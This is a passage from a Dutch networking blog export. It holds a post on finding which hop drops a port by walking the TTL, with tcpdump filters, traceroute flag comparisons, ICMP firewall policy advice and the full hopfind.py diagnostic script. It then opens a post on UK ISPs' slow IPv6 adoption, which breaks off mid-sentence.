er een antwoord van te lezen Trek de TTL die je ontving af van de eerstvolgende waarde erboven en je hebt de hoptelling terug. Een antwoord dat aankomt met TTL 50 begon bij 64 en kwam 14 hops. Een dat aankomt met TTL 250 begon bij 255 en kwam 5. ping print het zonder erom te vragen:\nping -c1 192.0.2.4 # ttl=50 → 14 hops away tcpdump -n -v \u0026#39;icmp\u0026#39; # -v prints the ttl of every packet it shows Twee dingen vallen daaruit. Beide zijn gratis.\nEen antwoord waarvan de omgekeerde hoptelling niet overeenkomt met de andere antwoorden van de host is niet door de host gestuurd. Komt een echo-antwoord van een server 14 hops ver terug en de RST op poort 25 1 hop ver, dan schreef een middlebox de RST. Dezelfde truc als de sectie hierboven, van het andere eind, en hij werkt zelfs als je de uitgaande TTL niet kunt zetten.\nEen antwoord dat bij 255 begon kwam van netwerkapparatuur, niet van een server. Nuttig als je probeert uit te zoeken of het ding dat je weigert de host is of de router ervoor.\nOm het veld op TCP te zien in plaats van ICMP heb je een opname nodig, en het filter is het waard uit het hoofd te leren:\n# every hop-limit expiry coming back to you, IPv4 and IPv6 tcpdump -n -v \u0026#39;icmp[icmptype] == 11 or icmp6[icmp6type] == 3\u0026#39; # who is resetting you, and from how far tcpdump -n -v \u0026#39;tcp[tcpflags] \u0026amp; tcp-rst != 0\u0026#39; tcpdump print het verlopen als ICMP time exceeded in-transit — dezelfde zin die de standaarden gebruiken, en dezelfde gebeurtenis die als “TTL expired in transit” verschijnt op platforms die het zo verwoorden.\nDezelfde truc met eigen gereedschap, op vijf Unixen Draai je liever geen script, dan doet het eigen gereedschap het meeste ervan. Het is het alleen meer met elkaar oneens dan je zou verwachten. -P in het bijzonder betekent drie verschillende dingen afhankelijk van wiens traceroute je vasthoudt, en een ervan verpest stilletjes je test.\nLinux (traceroute 2.1.x) macOS / FreeBSD OpenBSD NetBSD Solaris 11 TCP-proeven -T -P tcp niet bruikbaar nee nee ICMP-proeven -I -I -I -I -I UDP naar een vaste poort -U -p N -e -p N nee nee nee bestemmingspoort -p N (constant voor TCP) -p N (verhoogt zonder -e) -p N (verhoogt) -p N (verhoogt) -p N (verhoogt) wat -P betekent niet gebruikt proefprotocol numeriek protocol, “will not work reliably for most protocols” zet DF en tast path MTU af pauze tussen proeven, in seconden heeft rechten nodig ja, voor -T en -I ja ja ja ja Elk daarvan heeft ruwe sockets nodig, dus elk heeft rechten nodig — al leveren macOS en de BSD\u0026rsquo;s traceroute meestal setuid root, dus je hoeft er misschien geen sudo voor te typen. Linux niet, en Fedora niet, wat de halve reden is dat het script hierboven bestaat.\nDrie valstrikken in die tabel, en ik heb alle drie een middag zien verspillen.\nOp de BSD\u0026rsquo;s en macOS is -p een basispoort die met elke proef verhoogt. Dus traceroute -P tcp -p 445 host test 445, dan 446, dan 447, en tegen hop 10 vraag je naar een poort waar niemand ooit van heeft gehoord. Je wilt ook -e, wat de man-pagina firewall-ontwijkingsmodus noemt en wat eigenlijk gewoon betekent “houd de poort stil”:\nsudo traceroute -P tcp -e -p 445 example.net # macOS, FreeBSD Op Linux doet gewone -p hetzelfde voor de standaard-UDP-methode en heb je -U -p nodig voor een constante UDP-poort. Voor TCP is -T -p al constant — de man-pagina is expliciet dat “for TCP and others specifies just the (constant) destination port to connect”.\nsudo traceroute -T -p 445 example.net # Linux sudo traceroute -U -p 53 example.net # Linux, UDP/53 specifically Op Solaris en NetBSD is er helemaal geen manier om de poort vast te zetten, en op Solaris is -P een pauze in seconden, dus een gekopieerde Linux-opdrachtregel draait zonder fout en meet niets waar je om vroeg. Solaris heeft ook geen TCP-proefmodus. Dit is het geval waar je het script wilt.\nRedox is de vreemde eend en een zin waard omdat ik de vraag verwacht. Zijn hele netwerkgereedschap is netutils — dns, ifconfig, nc, ping, telnetd, wget. Geen traceroute, geen tcpdump, niets om mee op te nemen. Is een Redox-bak een eind van het probleem, meet dan vanaf het andere eind en richt het lopen erop.\nmtr verdient ook een vermelding, want het doet het herhaal-en-gemiddeld-deel dat de tabellen hierboven je met de hand laten doen:\nsudo mtr -T -P 445 --report --report-cycles 20 example.net Draai dat tegen de falende poort en weer tegen een werkende, naast elkaar. Dezelfde methode, mooiere uitvoer.\nNiets hiervan werkt als iemand ICMP blokkeert Elke meting in dit bericht is gemaakt van ICMP-fouten die naar mij terugreizen. Blokkeer die en de hele diagnose gaat op zwart — en een heel stuk anders ook.\nICMP in het geheel blokkeren wordt plaatselijk nog als een beveiligingshouding behandeld. Het is er sinds de jaren negentig geen verdedigbare meer. De aanvallen die het geacht wordt te stoppen waren ping of death en smurf, allebei opgelost in de stacks in plaats van aan de grens, en allebei opgelost voordat sommige van de ingenieurs die het advies nog herhalen geboren waren. Wat blanket blokkeren nu stopt is diagnose. Verder niets.\nRFC 1812 laat op dat punt geen ruimte voor interpretatie: Time Exceeded is een MUST, en de standaard stelt dat de reden is dat traceroute eraan hangt. Gooi het weg en je hebt een gereedschap gebroken dat het eigen routervereistendocument van het internet noemt als de rechtvaardiging dat het bericht bestaat.\nPath MTU discovery is de dure. Het heeft nodig dat ICMP 3/4, fragmentation needed, terugkomt naar de verzender. Filter dat en je krijgt de storing die elke netwerkingenieur minstens één keer heeft nagejaagd, degene waar de handshake afrondt en kleine overdrachten werken en alles dat een pakket van volle grootte draagt voor eeuwig hangt. SSH verbindt en scp blijft steken. De pagina laadt en de afbeelding komt nooit aan. Niets in de logs. Niets om te grepen.\nOp IPv6 houdt het op een kwestie van smaak te zijn. RFC 4890 §4.3.1 somt de berichten op die een firewall niet mag weggooien:\nDestination Unreachable (Type 1) - All codes Packet Too Big (Type 2) Time Exceeded (Type 3) - Code 0 only Parameter Problem (Type 4) - Codes 1 and 2 only en over Packet Too Big is het bot over het gevolg: “Effectively, parts of the Internet will become inaccessible.” IPv6-routers fragmenteren niet. Kan Packet Too Big de verzender niet bereiken, dan is er geen herstelpad.\nDe controle is een ratelimiet, geen drop. Sta type 3 en type 11 inkomend toe, tel ze, begrens ze op iets als honderd per seconde, log wat de grens overschrijdt, en je hebt de diagnoses gehouden, path MTU discovery werkend gehouden, en elk stukje bescherming gehouden dat de blanket-regel geacht werd in de eerste plaats te bieden. Beperken hoeveel van iets je aanneemt is een controle. Alles weigeren en dat harden noemen is gewoon weigeren gemeten te worden.\nVoor iedereen die een MSP draait: gooit de lijn van je klant ICMP-fouten weg, dan heb je hun vermogen weggenomen te bewijzen in welk netwerk een storing zit — en dat van jezelf. De volgende keer dat een storing tussen twee providers zit die allebei zeggen dat hij schoon is, is dat de rekening voor het beleid.\nBehalve echo. Gooi dat weg. Alles hierboven gaat over ICMP-fouten. Echo is een ander beest, en het is het ene deel van het protocol dat ik aan de grens van de draad zou halen.\nKijk naar wat de standaard ervan eist. In IPv4 zegt RFC 792 over een echo-verzoek dat “the data received in the echo message must be returned in the echo reply message”. IPv6 is nog botter — RFC 4443 definieert het veld als “zero or more octets of arbitrary data” en eist dan dat het “MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message”.\nLees dat als aanvaller in plaats van als operator. De standaard verplicht elke host op aarde een blok bytes dat jij kiest aan te nemen en het je direct terug te geven. Dat is geen bijwerking. Het is een voorgeschreven, tweewegkanaal met willekeurige payload, dat loopt over een protocol dat de meeste firewalls doorlaten zonder te kijken en de meeste logging vastlegt als een pakkettelling in plaats van als inhoud.\nMensen bouwen er al dertig jaar tunnels op. Loki deed het in Phrack 49 in 1996. Ptunnel draagt een hele TCP-sessie binnen ping en zit al twee decennia één pakket weg. Is je uitgaande beleid “blokkeer alles, sta ICMP toe want het netwerkteam heeft het nodig”, dan heb je geen uitgaand beleid. Je hebt een VPN met extra stappen, en het verkeer vertrekt eruitziend als iemand die test of het internet werkt.\nRFC 4890 is het met me oneens, en het is de moeite dat onomwonden te zeggen in plaats van alleen de helft aan te halen die me uitkomt. §4.3.1 zet Echo Request en Echo Response in dezelfde niet-weggooien-lijst als de fouten. Lees dan de rechtvaardiging die het geeft:\nFor Teredo tunneling [RFC4380] to IPv6 nodes on the site to be possible, it is essential that the connectivity checking messages are allowed through the firewall.\nDe gestelde reden om echo open te houden is dat iemand er een tunnel door je firewall mee moet bouwen. Dat is mijn argument, opgeschreven door de mensen die de tegenovergestelde zaak maken.\nHet beleid is dus smal, niet blanket:\n# transit rules. permit the errors, drop the ping ip protocol icmp icmp type { destination-unreachable, time-exceeded, parameter-problem } \\ limit rate 100/second accept ip protocol icmp icmp type { echo-request, echo-reply } drop ip6 nexthdr ipv6-icmp icmpv6 type { destination-unreachable, packet-too-big, \\ time-exceeded, parameter-problem } limit rate 100/second accept ip6 nexthdr ipv6-icmp icmpv6 type { echo-request, echo-reply } drop Draag op IPv6 dat patroon niet naar een link-lokale of hostketen zonder neighbour discovery te houden. Types 133 tot 137 — nd-router-solicit tot en met nd-redirect — zijn hoe IPv6 het werk doet dat ARP in IPv4 doet. Gooi die weg en het segment houdt binnen minuten op te werken, en het zal er niet uitzien als een firewallfout. Filter echo aan de grens, niet op de draad tussen een host en zijn eigen router.\nWat kost dat je? ping over de grens, en verder niets. Alles in dit bericht blijft werken, want geen enkele meting hier stuurt een echo-verzoek. hopfind.py loopt TCP en UDP en leest de fouten die terugkomen; traceroute -T en -U doen hetzelfde. Path MTU discovery heeft Packet Too Big nodig, wat een fout is. De omgekeerde-TTL-truc werkt op elk antwoord, en een TCP-handshake geeft je er een. Het enige dat je verliest is het minst informatieve gereedschap in de doos, en dit hele bericht is een argument over waarom ophouden bij ping in de eerste plaats het probleem is.\nMijn eigen lijn doet dit al precies, al betwijfel ik of het opzet was. ping naar mijn standaardgateway krijgt 100% verlies, en ICMP Time Exceeded van diezelfde gateway komt terug in 0,3 ms — zoals elk spoor in dit bericht laat zien. Echo dicht, fouten open. Wie die firmware leverde kreeg het juiste antwoord, en ik kwam er alleen achter dat ze dat hadden door te gaan kijken.\nDezelfde regel, één keer geschreven Hier is de storing die ik niet verwachtte in mijn eigen huis te vinden. Een publieke DNS-resolver, gelopen op TCP/443 over beide families, minuten uit elkaar.\n$ python3 hopfind.py 192.0.2.53 443 --max 10 walking to 192.0.2.53 TCP/443 hop limit 1-10 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * Verdict: nothing answered at all, not even the first hop. Helemaal niets. Geen enkele hop. Mijn eigen router meldde niet eens het verlopen dat hij moet hebben gemaakt, hetzelfde verlopen dat hij in 0,3 ms meldde voor elk ander lopen in dit bericht — dus de drop gebeurt bij hop 1, voordat de hoplimietcontrole ooit draait, en hop 1 is de mijne.\nHet pad is prima, wat dezelfde bestemming bewijst op UDP:\n$ python3 hopfind.py 192.0.2.53 53 --proto udp --max 10 1 198.51.100.254 0.3 ms ICMP 11/0 time exceeded in-transit 2 198.51.100.133 5.4 ms ICMP 11/0 time exceeded in-transit 3 * 4 198.51.100.167 14.5 ms ICMP 11/0 time exceeded in-transit 5 203.0.113.50 6.3 ms ICMP 11/0 time exceeded in-transit 6 203.0.113.174 5.7 ms ICMP 11/0 time exceeded in-transit 7 203.0.113.201 6.4 ms ICMP 11/0 time exceeded in-transit 8 * Zeven hops schone antwoorden naar hetzelfde adres. Het is dus niet de routering en niet de bestemming — iets op mijn lijn gooit TCP naar die host weg en laat UDP ernaartoe door.\nDan dezelfde resolver, dezelfde poort, over IPv6:\n$ python3 hopfind.py 2001:db8:53::53 443 -6 --max 10 walking to 2001:db8:53::53 TCP/443 hop limit 1-10 1 2001:db8:1:ee:beef:abcd:fec0:2a30 0.5 ms ICMP 3/0 hop limit exceeded in-transit 2 2001:db8:1::15c 24.6 ms ICMP 3/0 hop limit exceeded in-transit 3 * 4 2001:db8:2:200::50 5.5 ms ICMP 3/0 hop limit exceeded in-transit 5 2001:db8:2:2::4 5.7 ms ICMP 3/0 hop limit exceeded in-transit 6 2001:db8:2:991:: 16.6 ms ICMP 3/0 hop limit exceeded in-transit 7 2001:db8:53::53 5.7 ms connected Verdict: TCP/443 is open. It answered at hop 7. Recht erdoorheen. Zeven hops, geen drama. Dezelfde dienst, dezelfde poort, dezelfde bedoeling, en de regel bestaat op maar één adresfamilie.\nWie die regel schreef schreef hem voor IPv4 en schreef nooit de tweeling. Ik heb geen idee wat het moest bereiken — mijn gok is iets over DNS lokaal houden — maar wat het ook was, het bereikt het al op de helft van het verkeer zolang deze lijn IPv6 heeft. Was het er om een reden, dan werkt het niet. Was het er niet, dan hoort het er niet te zijn.\nDat is de alledaagse versie van het dual-stackprobleem, en het is veel gewoner dan de discussies over of je IPv6 überhaupt moet uitrollen. Twee regelboeken. Eén onderhouden.\nHet script, in zijn geheel Geen afhankelijkheden, geen installatie, niets dan de standaardbibliotheek. Python 3.6 of later, en op Linux helemaal geen rechten.\nDe twee klassen zijn het hele draagbaarheidsverhaal. ErrorQueue is het Linux-pad: bewapen IP_RECVERR op de socket, en nadat de proef faalt, lees MSG_ERRQUEUE en trek het adres van de router uit de sock_extended_err-structuur waar de kernel het aan vastplakt. RawIcmp is overal elders: open een ruwe ICMP-socket, lees wat aankomt, neem het bronadres van het pakket. De eerste heeft niets nodig, de tweede heeft root nodig, en de rest van het programma kan het niet schelen welke van de twee het kreeg.\nEén detail is het aanwijzen waard omdat het het verschil is tussen een juist antwoord en een aannemelijk. In probe() wordt de foutwachtrij geleegd voordat SO_ERROR wordt geraadpleegd. Een ICMP-fout bereikt een TCP-socket als een gewone errno — ICMP 3/3 port unreachable komt aan als ECONNREFUSED, precies als een echte reset — dus SO_ERROR eerst controleren zou de vervalste SMTP-reset verderop in dit bericht als een eerlijke weigering van de overkant hebben gemeld. Lees de wachtrij eerst en ee_origin vertelt je dat een router sprak.\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;hopfind - work out how many hops away the thing blocking your port is. Walks the IPv4 TTL, or the IPv6 hop limit, up from 1 and records which router answers at each step - using the protocol and port you actually care about instead of traceroute\u0026#39;s default UDP high ports. Run it twice. Once against something that works, once against the port that does not. The hop where the answers stop is the device dropping you, and the run that works gives you its address. python3 hopfind.py example.net 445 # the port under suspicion python3 hopfind.py example.net 443 # the reference run python3 hopfind.py example.net 53 --proto udp python3 hopfind.py 2001:db8::1 443 -6 On Linux this needs no privileges at all: IP_RECVERR and IPV6_RECVERR hand the ICMP errors back on the ordinary socket that caused them. On macOS, the BSDs and Solaris the errors have to be read off a raw ICMP socket, which means root. Written for https://blogs.damiendye.uk/networking/how-far-away-is-the-firewall/ Public domain. Do what you like with it. \u0026#34;\u0026#34;\u0026#34; import argparse import errno import os import select import socket import struct import sys import time # Linux socket options. Absent from the socket module on some builds, so they # are spelled out rather than looked up. IP_RECVERR = 11 IPV6_RECVERR = 25 # ee_origin values from linux/errqueue.h. Anything else means the errno came # from the local stack rather than from a router. SO_EE_ORIGIN_ICMP = 2 SO_EE_ORIGIN_ICMP6 = 3 ICMP_V4 = { (11, 0): \u0026#34;time exceeded in-transit\u0026#34;, (11, 1): \u0026#34;fragment reassembly time exceeded\u0026#34;, (3, 0): \u0026#34;net unreachable\u0026#34;, (3, 1): \u0026#34;host unreachable\u0026#34;, (3, 2): \u0026#34;protocol unreachable\u0026#34;, (3, 3): \u0026#34;port unreachable\u0026#34;, (3, 4): \u0026#34;fragmentation needed\u0026#34;, (3, 9): \u0026#34;net administratively prohibited\u0026#34;, (3, 10): \u0026#34;host administratively prohibited\u0026#34;, (3, 13): \u0026#34;communication administratively prohibited\u0026#34;, (5, 0): \u0026#34;redirect\u0026#34;, } ICMP_V6 = { (3, 0): \u0026#34;hop limit exceeded in-transit\u0026#34;, (3, 1): \u0026#34;fragment reassembly time exceeded\u0026#34;, (1, 0): \u0026#34;no route to destination\u0026#34;, (1, 1): \u0026#34;communication administratively prohibited\u0026#34;, (1, 3): \u0026#34;address unreachable\u0026#34;, (1, 4): \u0026#34;port unreachable\u0026#34;, (2, 0): \u0026#34;packet too big\u0026#34;, } def describe(family, icmp_type, icmp_code): table = ICMP_V4 if family == socket.AF_INET else ICMP_V6 return table.get((icmp_type, icmp_code), \u0026#34;unrecognised\u0026#34;) def is_expiry(family, icmp_type): \u0026#34;\u0026#34;\u0026#34;Was this the router saying \u0026#39;your hop budget ran out here\u0026#39;?\u0026#34;\u0026#34;\u0026#34; return icmp_type == (11 if family == socket.AF_INET else 3) class ErrorQueue: \u0026#34;\u0026#34;\u0026#34;Linux. The kernel reports the ICMP error on the socket that provoked it.\u0026#34;\u0026#34;\u0026#34; def arm(self, sock, family): if family == socket.AF_INET: sock.setsockopt(socket.IPPROTO_IP, IP_RECVERR, 1) else: sock.setsockopt(socket.IPPROTO_IPV6, IPV6_RECVERR, 1) def extra_readers(self): return [] def collect(self, sock, family): try: _, ancillary, _, _ = sock.recvmsg(0, 1024, socket.MSG_ERRQUEUE) except OSError: return None wanted = (socket.IPPROTO_IP, IP_RECVERR) if family == socket.AF_INET \\ else (socket.IPPROTO_IPV6, IPV6_RECVERR) for level, kind, data in ancillary: if (level, kind) != wanted or len(data) \u0026lt; 16: continue # struct sock_extended_err, then the sockaddr of the router that # sent the error - SO_EE_OFFENDER in the kernel headers. _, origin, icmp_type, icmp_code = struct.unpack_from(\u0026#34;=IBBB\u0026#34;, data, 0) if origin not in (SO_EE_ORIGIN_ICMP, SO_EE_ORIGIN_ICMP6): return None addr = None if len(data) \u0026gt;= 24: offender_family, = struct.unpack_from(\u0026#34;=H\u0026#34;, data, 16) if offender_family == socket.AF_INET: addr = socket.inet_ntoa(data[20:24]) elif offender_family == socket.AF_INET6 and len(data) \u0026gt;= 40: addr = socket.inet_ntop(socket.AF_INET6, data[24:40]) return addr, icmp_type, icmp_code return None class RawIcmp: \u0026#34;\u0026#34;\u0026#34;macOS, the BSDs, illumos, Solaris. Read the ICMP off a raw socket, as root.\u0026#34;\u0026#34;\u0026#34; def __init__(self, family): proto = socket.IPPROTO_ICMP if family == socket.AF_INET else socket.IPPROTO_ICMPV6 self.sock = socket.socket(family, socket.SOCK_RAW, proto) self.sock.setblocking(False) def arm(self, sock, family): pass def extra_readers(self): return [self.sock] def collect(self, sock, family): try: packet, peer = self.sock.recvfrom(1500) except OSError: return None if family == socket.AF_INET: # BSD raw sockets hand back the IP header too. header_len = (packet[0] \u0026amp; 0x0F) * 4 packet = packet[header_len:] if len(packet) \u0026lt; 2: return None return peer[0], packet[0], packet[1] def probe(dest, port, proto, family, hop_limit, timeout, listener): \u0026#34;\u0026#34;\u0026#34;One probe at one hop limit. Returns (icmp, socket_state, note).\u0026#34;\u0026#34;\u0026#34; kind = socket.SOCK_STREAM if proto == \u0026#34;tcp\u0026#34; else socket.SOCK_DGRAM sock = socket.socket(family, kind) if family == socket.AF_INET: sock.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, hop_limit) else: sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_UNICAST_HOPS, hop_limit) listener.arm(sock, family) sock.setblocking(False) try: if kind == socket.SOCK_DGRAM: sock.connect((dest, port)) sock.send(b\u0026#34;\\x00\u0026#34; * 32) else: try: sock.connect((dest, port)) except BlockingIOError: pass except OSError as exc: sock.close() return None, None, \u0026#34;local error: %s\u0026#34; % exc.strerror readers = [sock] + listener.extra_readers() writers = [] if kind == socket.SOCK_DGRAM else [sock] deadline = time.time() + timeout icmp = state = None while time.time() \u0026lt; deadline: ready_r, ready_w, ready_x = select.select( readers, writers, [sock], max(0.01, deadline - time.time())) if not (ready_r or ready_w or ready_x): continue # Drain the error queue first, always. An ICMP error reaches a TCP # socket as a plain errno, so SO_ERROR on its own cannot tell you # whether a router spoke or the far end did. icmp = listener.collect(sock, family) if icmp: break if ready_w: err = sock.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) if err == 0: state = \u0026#34;connected\u0026#34; elif err == errno.ECONNREFUSED: state = \u0026#34;TCP reset\u0026#34; else: state = os.strerror(err) break sock.close() if icmp or state: return icmp, state, None return None, None, \u0026#34;no reply\u0026#34; def walk(dest, port, proto, family, first, last, timeout, listener): print(\u0026#34;walking to %s %s/%d hop limit %d-%d\u0026#34; % (dest, proto.upper(), port, first, last)) answered = [] for hop in range(first, last + 1): started = time.time() icmp, state, _ = probe(dest, port, proto, family, hop, timeout, listener) rtt = (time.time() - started) * 1000 if icmp: addr, icmp_type, icmp_code = icmp print(\u0026#34; %2d %-39s %7.1f ms ICMP %d/%d %s\u0026#34; % (hop, addr or \u0026#34;?\u0026#34;, rtt, icmp_type, icmp_code, describe(family, icmp_type, icmp_code))) if is_expiry(family, icmp_type): answered.append((hop, addr)) else: return answered, hop, \u0026#34;icmp-reject\u0026#34;, addr elif state: print(\u0026#34; %2d %-39s %7.1f ms %s\u0026#34; % (hop, dest, rtt, state)) return answered, hop, state, dest else: print(\u0026#34; %2d *\u0026#34; % hop) return answered, None, \u0026#34;silent\u0026#34;, None def main(): parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) parser.add_argument(\u0026#34;host\u0026#34;) parser.add_argument(\u0026#34;port\u0026#34;, nargs=\u0026#34;?\u0026#34;, type=int, default=443) parser.add_argument(\u0026#34;--proto\u0026#34;, choices=(\u0026#34;tcp\u0026#34;, \u0026#34;udp\u0026#34;), default=\u0026#34;tcp\u0026#34;) parser.add_argument(\u0026#34;--first\u0026#34;, type=int, default=1, help=\u0026#34;hop limit to start at\u0026#34;) parser.add_argument(\u0026#34;--max\u0026#34;, type=int, default=20, help=\u0026#34;hop limit to stop at\u0026#34;) parser.add_argument(\u0026#34;--wait\u0026#34;, type=float, default=2.0, help=\u0026#34;seconds to wait per hop\u0026#34;) parser.add_argument(\u0026#34;-6\u0026#34;, dest=\u0026#34;v6\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;force IPv6\u0026#34;) parser.add_argument(\u0026#34;-4\u0026#34;, dest=\u0026#34;v4\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;force IPv4\u0026#34;) args = parser.parse_args() family = socket.AF_INET6 if args.v6 else socket.AF_INET kind = socket.SOCK_STREAM if args.proto == \u0026#34;tcp\u0026#34; else socket.SOCK_DGRAM dest = socket.getaddrinfo(args.host, args.port, family, kind)[0][4][0] if sys.platform.startswith(\u0026#34;linux\u0026#34;): listener = ErrorQueue() else: try: listener = RawIcmp(family) except PermissionError: sys.exit(\u0026#34;%s cannot report ICMP errors on a normal socket, so this \u0026#34; \u0026#34;needs a raw one. Run it as root.\u0026#34; % sys.platform) answered, stop, why, who = walk(dest, args.port, args.proto, family, args.first, args.max, args.wait, listener) what = \u0026#34;%s/%d\u0026#34; % (args.proto.upper(), args.port) print() if why == \u0026#34;connected\u0026#34;: print(\u0026#34;Verdict: %s is open. It answered at hop %d.\u0026#34; % (what, stop)) elif why == \u0026#34;icmp-reject\u0026#34;: print(\u0026#34;Verdict: %s at hop %d is refusing %s on policy, and is honest \u0026#34; \u0026#34;enough to say so.\u0026#34; % (who, stop, what)) elif why == \u0026#34;TCP reset\u0026#34;: print(\u0026#34;Verdict: a reset came back to a probe with a hop limit of %d.\u0026#34; % stop) print(\u0026#34; Nothing more than %s away can have sent it, so check the reply\u0026#34; % (\u0026#34;one hop\u0026#34; if stop == 1 else \u0026#34;%d hops\u0026#34; % stop)) print(\u0026#34; TTL before you believe the host did.\u0026#34;) elif answered: last_hop, last_addr = answered[-1] print(\u0026#34;Verdict: answers stop after hop %d (%s).\u0026#34; % (last_hop, last_addr)) print(\u0026#34; Whatever swallows %s is hop %d.\u0026#34; % (what, last_hop + 1)) print(\u0026#34; Walk a port that works and read off the address at hop %d.\u0026#34; % (last_hop + 1)) else: print(\u0026#34;Verdict: nothing answered at all, not even the first hop. Either the\u0026#34;) print(\u0026#34; first hop is the one dropping you, or the ICMP errors are being\u0026#34;) print(\u0026#34; filtered on the way back. Walk a port that works to tell those\u0026#34;) print(\u0026#34; two apart.\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Wat dit je niet kan vertellen De methode is goedkoop en ze is eerlijk over de meeste dingen, maar het is geen topologiescanner. Wees in het ticket eerlijk over wat je werkelijk hebt gemeten.\nVerschillende vijftupels kunnen verschillende paden nemen. ECMP hasht de bron- en bestemmingspoorten in de keuze van de volgende hop, dus twee runs op twee verschillende poorten lopen niet gegarandeerd over dezelfde routers, wat een van de twee dingen is die zouden kunnen verklaren waarom hop 5 hierboven de ene run antwoordde en op de andere stil bleef. Herhaal beide runs. Een grens die beweegt is onbewezen.\nMPLS verbergt hops. Een label-switched kern kan als één hop verschijnen, of als helemaal geen. Elke telling over de backbone van iemand anders is een ondergrens.\nICMP wordt vrijwel overal van een ratelimiet voorzien. Tast sneller af dan de router zal antwoorden en je maakt je eigen sterretjes. hopfind.py stuurt één proef per hop en wacht; dat is met opzet.\nHet terugpad hoeft niet met het uitgaande overeen te komen. De hoptelling naar buiten is niet de hoptelling terug, en de omgekeerde-TTL-rekenkunde meet alleen het terugbeen.\nAnycast betekent dat de host bij hop N niet twee keer dezelfde bak hoeft te zijn. Publieke resolvers en CDN\u0026rsquo;s in het bijzonder.\nEen afgeronde handshake betekent niet dat de sessie overleeft. Een stateful firewall kan de SYN toestaan en wat volgt bij inspectie weggooien. Opent de verbinding en sterft hij dan, dan is dit het verkeerde instrument — ga opnemen.\nJe hebt het eerste apparaat gevonden dat wegkaatst, niet degene die iemand zal toegeven. In een CGN of een carriernetwerk kan het adres bij hop N+1 een van meerdere bakken achter één adres zijn. Het is nog steeds het juiste om te citeren, want het is een feit over het pad.\nWaar het eigenlijk voor is Het stuiteren beëindigen. Dat is de hele opbrengst van de oefening.\n“Poort 445 wordt ergens geblokkeerd” is een uitnodiging om het ticket terug te geven. Dit is dat niet:\nTCP/445 naar 192.0.2.4 wordt stil weggegooid bij hop 11, adres 192.0.2.31. Hop 11 antwoordt ICMP Time Exceeded op TCP/443 over hetzelfde pad in 26 ms en antwoordt helemaal niets op 445, dus de drop is een beleidsbeslissing op dat apparaat, geen routeringsfout. Tien hops ervoor zijn schoon. Vier keer gereproduceerd over twintig minuten, vanuit een shell zonder rechten, script bijgevoegd.\nDat geeft niemand terug. Het noemt een apparaat, stelt wat het deed, stelt wat het niet deed, en toont het rekenwerk. Of ze het willen veranderen is nog steeds hun keuze. Maar de week pingpong is voorbij, en het kostte vier commando\u0026rsquo;s.\nAlles erin kwam uit een veld van 8 bits dat in 1981 als timer werd gespecificeerd, nog nooit één keer als zodanig is gebruikt, en stilletjes “ergens” in een adres verandert.\nHet leren lezen waard.\n","permalink":"https://blogs.damiendye.uk/nl/networking/how-far-away-is-the-firewall/","summary":"\u0026ldquo;Poort 445 wordt ergens geblokkeerd\u0026rdquo; is geen diagnose, en het is waarom firewalltickets een week tussen jou en je provider heen en weer stuiteren. Elke router op het pad is je een ICMP Time Exceeded verschuldigd als je hopbudget opraakt, en dat maakt van een time-out een afstand. Ik liep de TTL omhoog op mijn eigen lijn en vond drie storingen waarvan ik niet wist dat ik ze had: een SMB-drop elf hops ver, vervalste SMTP-resets één hop weg, en een IPv4-regel zonder IPv6-tweeling.","title":"De firewall is elf hops ver"},{"content":"Er is een verhaal dat de Britse industrie over IPv6 vertelt, en het gaat zo. De overstap is moeilijk. De apparatuur is oud. De klanten vragen er niet om. Er zit geen geld in. Op een dag, wanneer de businesscase kantelt, komen we eraan toe.\nElk deel daarvan is een leugen die de industrie zichzelf vertelt zodat ze geen werk hoeft te doen.\nIPv6 werd gespecificeerd in december 1995. Ik kwam erop via de 6bone, de experimentele testomgeving die het droeg voordat het echte internet dat deed, en draaide zowel de Linux-stack als de stack van Microsoft Research op Windows XP om te zien hoe ze verschilden. Mijn toegang kwam van Hurricane Electric.\nDe 6bone werd uitgeschakeld op 6 juni 2006, dus ik verhuisde naar 6to4 automatische tunneling, en later naar een Hurricane Electric-tunnel — nog steeds gratis, en ze routeren je een /48 op verzoek. Native IPv6 arriveerde bij mij thuis in 2017, toen ik van ISP veranderde naar Zen.\nDus het grootste deel van twintig jaar kwam mijn IPv6 van een Amerikaans transitbedrijf dat het weggaf, in plaats van van een van de Britse ISP\u0026rsquo;s die ik betaalde. Hurricane Electric deelde gerouteerde /48\u0026rsquo;s uit aan iedereen die er een wilde. Mijn eigen provider wilde me een statische IPv4 verkopen voor een vijfje per maand.\nDe data zeggen de rest. De IETF doodde de 6bone in 2006 en deprecateerde 6to4\u0026rsquo;s anycast-relays in mei 2015, en noemde het mechanisme \u0026ldquo;unsuitable for widespread deployment and use in the Internet\u0026rdquo;. Ik overleefde twee officiële overgangsmechanismen terwijl ik wachtte tot een Britse ISP me een adres zou geven. Op de dag dat de 6bone sloot, hadden zevenendertig van de veertig Britse providers in de grafiek hieronder het register nog niet om een toewijzing gevraagd. Tweeëntwintig ervan — meer dan de helft — vroegen pas in 2015 of later, het jaar dat de IETF ook 6to4 opgaf.\nHet staat standaard aan in elk besturingssysteem dat iemand draait sinds Windows Vista in 2007. Het kost niets extra bij het register. De grootste ISP die het ooit in dit land probeerde, maakte de klus in drie jaar af met een team dat je in een vergaderzaal kon passen, en won er een prijs voor.\nDertig jaar na de specificatie. Veertien jaar na de dag dat het internet het permanent aanzette. En het antwoord in dit land was het internet met opzet breken, het gebroken stuk in meer machinerie wikkelen, en de klant het ongemak in rekening brengen.\nDat is geen kostenprobleem. Het is een kan-me-niet-bommen-probleem, en het gaat al twintig jaar door.\nWat Ik Mat, en Hoe Alles hieronder is ofwel andermans werk, gelinkt, ofwel een getal dat ik zelf produceerde. Waar het van mij is, staat het script dat het telde in de download hieronder, gedraaid zoals gepubliceerd. De ene uitzondering zijn de adrestotalen, en ik leg uit hoe die zijn uitgewerkt in de kanttekeningen. Vier openbare bronnen, allemaal gratis: de registerdelegatiebestanden, de RIPE-routingtabeldump, de RIPE-database, en de DNS. Waar ik een steekproef koos in plaats van de hele boel te meten, zeg ik dat.\nDe routingnummers komen uit twee 